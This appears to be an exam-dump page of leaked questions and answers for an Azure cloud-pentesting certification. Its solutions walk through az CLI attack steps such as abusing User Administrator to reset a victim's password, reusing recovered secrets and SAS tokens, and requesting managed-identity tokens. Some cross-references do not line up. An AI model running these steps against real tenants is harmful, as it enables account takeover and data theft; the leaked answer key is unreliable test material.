

TheSecOpsGroup.CCPenX-Az.v2026-09-03.q15

Exam Code:	CCPenX-Az
Exam Name:	Certified Cloud Pentesting eXpert - Azure
Certification Provider:	The SecOps Group
Free Question Number:	15
Version:	v2026-09-03
# of views:	111
# of Questions views:	150
https://www.freepdfdumps.com/TheSecOpsGroup.CCPenX-Az.v2026-09-03.q15.html	

NEW QUESTION: 1

A compromised principal has permission to list role assignments. Identify which user has the User Access Administrator role at the resource group scope.

Answer:

See the Answer in Explanation below.

Explanation:

olivia.admin@cloudcorpsec.onmicrosoft.com

Detailed Solution:

Run:

```
az role assignment list \  
--resource-group rg-prod-apps-eastus \  
--all \  
--output table
```

Or filter by role:

```
az role assignment list \  
--resource-group rg-prod-apps-eastus \  
--role " User Access Administrator " \  
--query " [].{Principal:principalName,Role:roleDefinitionName,Scope:scope} " \  
--output table
```

Expected output:

Principal Role Scope

olivia.admin@cloudcorpsec.onmicrosoft.com User Access

Administrator /subscriptions/.../rg-prod-apps-eastus Final answer:

olivia.admin@cloudcorpsec.onmicrosoft.com

NEW QUESTION: 2

Using the previously retrieved credentials, authenticate as the App Registration within the tenant and enumerate potential lateral movement vectors. Which of the following roles is assigned to the App Registration?

- A. None of the above
- B. Key Vault Secrets User
- C. Cosmos DB Built-in Data Reader
- D. Container Apps Reader Role

Answer: B ([LEAVE A REPLY](#))

NEW QUESTION: 3

Using the Azure access of the second compromised user, perform lateral movement within the environment to discover sensitive information. What is the flag uncovered during this activity?

Answer:

See the Answer in Explanation below.

Explanation:

The answer is the flag found after compromising the target user and enumerating her accessible Azure resources, usually storage/table data.

Detailed Solution:

Since the second compromised user is a User Administrator , abuse that role to reset the password of the target user.

```
az ad user update \  
--id lila.nguyen@azuresecops.onmicrosoft.com \  
--password ' NewP@ssw0rd12345! ' \  
--force-change-password-next-sign-in false
```

Now authenticate as the target user.

```
az login -u lila.nguyen@azuresecops.onmicrosoft.com -p ' NewP@ssw0rd12345! ' Confirm  
the login context:
```

```
az account show
```

Check what Azure resources this user can see:

```
az resource list --output table
```

Check role assignments:

```
az role assignment list --all --output table
```

If the user has storage data-plane permissions, enumerate storage accounts:

```
az storage account list --output table
```

If the storage account is known from the lab chain, use it directly:

```
az storage table list \  
--account-name excaliburstore \  
--auth-mode login \  
--output table
```

Query each table:

```
az storage entity query \  
--account-name excaliburstore \  
--table-name < table-name > \  
--auth-mode login \  
--output json
```

A faster method:

```
for table in $(az storage table list --account-name excaliburstore --auth-mode login --query  
" [].name " -o tsv); do echo " ===== $table ===== " az storage entity query \  
--account-name excaliburstore \  
--table-name " $table " \  
--auth-mode login \  
--output table  
done
```

Search the output for:

Flag

SAS

token

container

storage

secret

The flag discovered in this stage is the Q7 answer.

Final answer:

Use the Flag{...} value returned from the accessible table/storage data after logging in as lila.

nguyen@azuresecops.onmicrosoft.com.

NEW QUESTION: 4

Inside the public blob container, a file named backup-config.json contains service principal credentials. What field contains the App Registration client ID?

A. tenantId

B. clientSecret

C. clientId

D. objectId

Answer: C ([LEAVE A REPLY](#))

Detailed Solution:

Download the blob:

```
az storage blob download \  
--account-name prodreportstore01 \  
--container-name public-backups \  
--name backup-config.json \  
--file backup-config.json \
```

```
--auth-mode login
```

Read the file:

```
cat backup-config.json
```

Expected structure:

```
{  
  "tenantId" : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a ",  
  "clientId" : " c5fba7db-5e61-45bc-8944-3cd457bb19c2 ",  
  "clientSecret" : " REDACTED "  
}
```

The App Registration application/client ID is stored in:

clientId

NEW QUESTION: 5

After gaining access to the Azure tenant, enumerate all resource groups available to the compromised user.

One resource group contains the word prod. What is the name of that resource group?

Answer:

See the Answer in Explanation below.

Explanation:

rg-prod-apps-eastus

Detailed Solution:

List accessible resource groups:

```
az group list --output table
```

For a cleaner search:

```
az group list \
```

```
--query "[?contains(name, ' prod ' )].{Name:name,Location:location}" \
```

```
--output table
```

Expected output:

Name Location

rg-prod-apps-eastus eastus

The resource group containing prod is:

rg-prod-apps-eastus

NEW QUESTION: 6

You are reviewing Azure Activity Logs after a lab compromise. Which operation indicates that an attacker reset another user's password through Microsoft Entra ID?

- A. Microsoft.Authorization/roleAssignments/write
- B. Update user / password profile modification
- C. Microsoft.Storage/storageAccounts/listKeys/action
- D. Microsoft.KeyVault/vaults/secrets/read

Answer: B ([LEAVE A REPLY](#))

Detailed Solution:

In an Entra ID abuse path, a privileged user such as User Administrator may reset another user's password. In logs, this appears as a user update operation involving the password profile.

Check audit logs in the portal:

Microsoft Entra ID # Monitoring # Audit logs

Or query via Microsoft Graph/Azure tooling depending on permissions.

The activity to look for is generally:

Update user

Modified property: passwordProfile

The other options represent different activities:

Microsoft.Authorization/roleAssignments/write = RBAC role assignment change

Microsoft.Storage/storageAccounts/listKeys/action = storage account key retrieval

Microsoft.KeyVault/vaults/secrets/read = Key Vault secret read

Correct answer: B). Update user / password profile modification

NEW QUESTION: 7

While exploring the table storage, you've uncovered information that provides limited access to a storage account. Using this access, enumerate the blob containers. Which of the following containers is available?

A. private-data

B. confidential-store

C. sensitive-files

D. secure-dumps

Answer: C ([LEAVE A REPLY](#))

Detailed Solution:

From Q7, you should recover a limited-access SAS token or storage access information.

Set the storage account name and SAS token:

ACCOUNT= " excaliburstore "

SAS= " < recovered-sas-token > "

List containers:

az storage container list \

--account-name " \$ACCOUNT " \

--sas-token " \$SAS " \

--output table

The available container is:

sensitive-files

You can also confirm directly:

az storage blob list \

--account-name " \$ACCOUNT " \

```
--container-name sensitive-files \  
--sas-token " $SAS " \  
--output table  
Final answer:  
C). sensitive-files
```

NEW QUESTION: 8

During network reconnaissance of an Azure VM, you inspect its Network Security Group. Which inbound rule creates the highest risk?

- A. Allow TCP 443 from Internet
- B. Allow TCP 22 from Internet
- C. Deny all inbound from Internet
- D. Allow TCP 1433 from private subnet only

Answer: ([SHOW ANSWER](#))

Detailed Solution:

List NSG rules:

```
az network nsg rule list \  
--resource-group rg-prod-apps-eastus \  
--nsg-name nsg-prod-linux01 \  
--output table
```

Expected risky rule:

Name	Priority	Direction	Access	Protocol	Source	Destination	PortRange
------	----------	-----------	--------	----------	--------	-------------	-----------

-----	-----	-----	-----	-----	-----	-----	Allow-SSH 100 Inbound Allow
-------	-------	-------	-------	-------	-------	-------	-----------------------------

Tcp Internet 22 SSH exposed directly to the Internet is risky because it increases brute-force, credential-stuffing, and remote exploitation exposure. In a hardened Azure environment, SSH should typically be restricted through VPN, Bastion, JIT access, or trusted administrative IP ranges.

Correct answer:

- B). Allow TCP 22 from Internet

NEW QUESTION: 9

You've uncovered valid credentials for another user in the previous step. Authenticate as this user and investigate their level of access within the Azure environment. Which of the following Microsoft Entra ID roles is assigned to this user?

- A. Password Administrator
- B. User Administrator
- C. Helpdesk Administrator
- D. Groups Administrator

Answer: B ([LEAVE A REPLY](#))

Detailed Solution:

Log in using the credential recovered in Q4.

```
az login -u sumit.siddharth@azuresecops.onmicrosoft.com -p ' < recovered-password > '
```

Confirm the current signed-in user:

```
az ad signed-in-user show --output json
```

Now enumerate the user's Microsoft Entra ID role memberships through Microsoft Graph.

```
az rest --method GET \
```

```
--url " https://graph.microsoft.com/v1.0/me/memberOf " \
```

```
--output json
```

To display only role names:

```
az rest --method GET \
```

```
--url " https://graph.microsoft.com/v1.0/me/memberOf " \
```

```
--query " value[].displayName " \
```

```
--output table
```

The relevant role is:

User Administrator

This role is dangerous because it can manage users and reset passwords for many non-privileged users. That is exactly why the next task asks you to abuse directory-level privileges to compromise another user.

Final answer:

B). User Administrator

NEW QUESTION: 10

After authenticating as the service principal, enumerate its assigned Azure RBAC role.

Which role does it have?

A. Reader

B. Contributor

C. Storage Account Contributor

D. Owner

Answer: ([SHOW ANSWER](#))

Detailed Solution:

Resolve the service principal object ID:

```
az ad sp show \
```

```
--id c5fba7db-5e61-45bc-8944-3cd457bb19c2 \
```

```
--query id \
```

```
--output tsv
```

Then list role assignments:

```
SP_OBJECT_ID=$(az ad sp show \
```

```
--id c5fba7db-5e61-45bc-8944-3cd457bb19c2 \
```

```
--query id \
```

```
--output tsv)
```

```
az role assignment list \
```

```
--assignee " $SP_OBJECT_ID " \
```

--all \

--output table

Expected output:

Principal Role Scope

< sp-object-id > Contributor /subscriptions/5d8e44ac-...

Correct answer:

B). Contributor

NEW QUESTION: 11

Using the previously retrieved credentials, authenticate as the App Registration within the tenant and enumerate potential lateral movement vectors. Which of the following roles is assigned to the App Registration?

A. Key Vault Secrets User

B. Cosmos DB Built-in Data Reader

C. Container Apps Reader Role

D. None of the above

Answer: A (LEAVE A REPLY)

Detailed Solution:

Use the app registration credentials recovered from blob storage.

az login --service-principal \

-u ' < client-id > ' \

-p ' < client-secret > ' \

--tenant f015f36d-c07f-41fb-9bde-fffc3a22ee8b

Confirm that you are authenticated as a service principal:

az account show

Now enumerate role assignments for the app registration.

az role assignment list \

--assignee ' < client-id > ' \

--all \

--output table

If the --assignee lookup fails, first resolve the service principal object ID:

az ad sp show \

--id ' < client-id > ' \

--query id \

--output tsv

Then query role assignments by object ID:

SP_OBJECT_ID=\$(az ad sp show --id ' < client-id > ' --query id -o tsv)

az role assignment list \

--assignee " \$SP_OBJECT_ID " \

--all \

--output table

The assigned role is:

Key Vault Secrets User

This role allows the principal to read secret values from Azure Key Vault. That is the lateral movement path into the final flag.

Final answer:

A). Key Vault Secrets User

NEW QUESTION: 12

You've discovered that the compromised user holds directory-level privileges. Enumerate how this role can be abused to compromise another user in the directory. What is the Job Title attribute of the compromised target user?

Answer:

See the Answer in Explanation below.

Explanation:

Flag{92c8bfe4a73f48a6bd94e62fca2179dd}

Detailed Solution:

As the second compromised user, enumerate directory users:

az ad user list --output table

Use a cleaner query to show names, UPNs, and job titles:

az ad user list \

--query " [].{DisplayName:displayName,UPN:userPrincipalName,JobTitle:jobTitle} " \

--output table

You should identify a target user whose profile contains a flag in the jobTitle attribute.

The important target is:

lila.nguyen@azuresecops.onmicrosoft.com

Her jobTitle field contains:

Flag{92c8bfe4a73f48a6bd94e62fca2179dd}

Because the compromised user has User Administrator, you can reset this target user's password and later authenticate as her.

Final answer:

Flag{92c8bfe4a73f48a6bd94e62fca2179dd}

NEW QUESTION: 13

The App Service has a system-assigned managed identity enabled. Identify the managed identity principal ID.

Answer:

See the Answer in Explanation below.

Explanation:

b72a4c19-92f6-47f3-b3dd-9db5a31831d1

Detailed Solution:

Run:

```
az webapp identity show \  
--name finance-reporting-api \  
--resource-group rg-prod-apps-eastus \  
--output json
```

Expected output:

```
{  
  "principalId": "b72a4c19-92f6-47f3-b3dd-9db5a31831d1",  
  "tenantId": "8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a",  
  "type": "SystemAssigned"  
}
```

The principalId is the service principal object ID of the managed identity.

Microsoft documents that managed identities provide Azure-managed identities for applications and eliminate the need to manage application secrets directly.

NEW QUESTION: 14

From inside the App Service environment, request an Azure Resource Manager token using the managed identity endpoint. Which resource value should be requested for Azure Resource Manager access?

- A. <https://graph.microsoft.com/>
- B. <https://management.azure.com/>
- C. <https://vault.azure.net/>
- D. <https://storage.azure.com/>

Answer: B ([LEAVE A REPLY](#))

Detailed Solution:

For Azure Resource Manager API calls, the token audience/resource must be:

<https://management.azure.com/>

Inside App Service Kudu/console, request the token:

```
curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 &  
resource=https://management.azure.com/ " \  
-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "
```

The response contains:

```
{  
  "access_token": "<jwt-token>",  
  "resource": "https://management.azure.com/",  
  "token_type": "Bearer"  
}
```

Correct option:

B). <https://management.azure.com/>

NEW QUESTION: 15

You find a SAS token in a table entity. The token starts with:

?sv=2025-01-05 & ss=b & srt=sco & sp=rl & se=2026-08-01T00:00:00Z

Which permissions does sp=rl grant?

- A. Read and List
- B. Read and Write
- C. Write and Delete
- D. List and Delete

Answer: (SHOW ANSWER)

Detailed Solution:

In Azure Storage SAS tokens, sp means signed permissions.

For blob/container access:

r = read

l = list

w = write

d = delete

c = create

a = add

Given:

sp=rl

The permissions are:

Read + List

Correct answer:

A). Read and List

SAS tokens grant delegated access to Azure Storage resources and must be handled like secrets.

Valid CCPenX-Az Dumps shared by Actual4test.com for Helping Passing CCPenX-Az Exam! Actual4test.com now offer the **newest CCPenX-Az exam dumps**, the Actual4test.com CCPenX-Az exam **questions have been updated** and **answers have been corrected** get the **newest** Actual4test.com CCPenX-Az dumps with Test Engine here: https://www.actual4test.com/CCPenX-Az_examcollection.html (33 Q&As Dumps, **30%OFF Special Discount: Freepdfdumps**)